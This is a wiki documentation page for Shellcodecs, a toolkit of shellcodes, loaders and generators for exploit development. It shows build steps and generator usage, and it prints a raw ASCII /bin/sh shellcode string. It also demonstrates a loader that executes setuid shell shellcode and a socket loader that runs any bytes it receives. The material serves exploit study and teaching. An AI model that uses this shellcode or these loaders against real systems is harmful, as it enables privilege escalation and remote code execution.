Questions about this topic? Sign up to ask in the talk tab.


From NetSec
Revision as of 00:53, 25 May 2013 by LashawnSeccombe (Talk | contribs) (Generators)

Jump to: navigation, search

Shellcodecs is a collection of shellcodes, loaders, sources, and generators provided with documentation designed to ease the exploitation and shellcode programming process.


In order to run these shellcodes, the following dependencies are required:

Unless otherwise noted, code is amd64. There are various 32-bit examples as well. If you think you may have an out of date version, or that the official version is out-of-sync with the site, the latest sources will be available 100% of the time in the shellcode appendix.






Building the code

  • tar xzvf shellcode.tgz
  • cd shellcode
  • make

It is also possible to make exclusively x86 or x64 binaries using make x86 or make x64. Please keep in mind, there is more support for 64-bit in this package than 32-bit.

Using the tools


The shellcode generator assembles shellcode from its assembly file and outputs the byte code as raw ascii, a hexadecimal representation, or as a C variable. It can also optionally output the length of the shellcode. The raw ascii representation can be piped into a generator or exploit (or a binary file), whereas the hexadecimal representation can be used in exploit code.

  • Help

localhost:~ $ generators/ --help

usage: [-h] --file FILE [--hex] [--raw] [--var] [--len]

optional arguments:

-h, --help show this help message and exit

--file FILE

--hex Output in hex format (\x0f\x05)

--raw Output in raw format

--var Output as a variable

--len Output the length

  • An example of using the generator to output raw ascii follows:

localhost:~ $ generators/ --file=ascii-shellcode/ascii_binsh --raw XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00

The socket reuse generator accepts the source IP and source port that the socket reuse shellcode will be sent from and outputs the hexadecimal representation of the code to input into the socket-reuse-send.c source file.

[[email protected] shellcode]$ generators/ 
Usage: generators/ <source IP> <source port>
[[email protected] shellcode]$ generators/ 1234
[[email protected] shellcode]$ gcc -o socket-reuse/socket-reuse-send socket-reuse/socket-reuse-send.c 
[[email protected] shellcode]$


The standard loader accepts shellcode as a command line argument (argv[1]) and executes it. This can be combined with the shellcode generator to test code:

 [[email protected] shellcode]$ loaders/loader-64 $(generators/ --file=null-free/setuid_binsh.s --raw)
 [[email protected] shellcode]# exit
 [[email protected] shellcode]$

The socket loader runs any input off of the socket as it is received to test socket-based code (such as the socket-reuse code). It accepts a port number as an argument. Warning: this code listens on all ports, so only use it on a closed network.

 [[email protected] shellcode]$ loaders/socket-loader 1235
 [[email protected]lhost shellcode]$

Getting help

We are not free technical support and reserve the right to revoke support to anyone for any reason at any time.

If you're using the tools and there's a problem, try re-reading the documentation before asking a question. If you're absolutely sure it is programmatical error and not user error preventing the code from working properly, you can let us know by talking on the shellcode talk page.


Shellcodecs is part of a series on programming.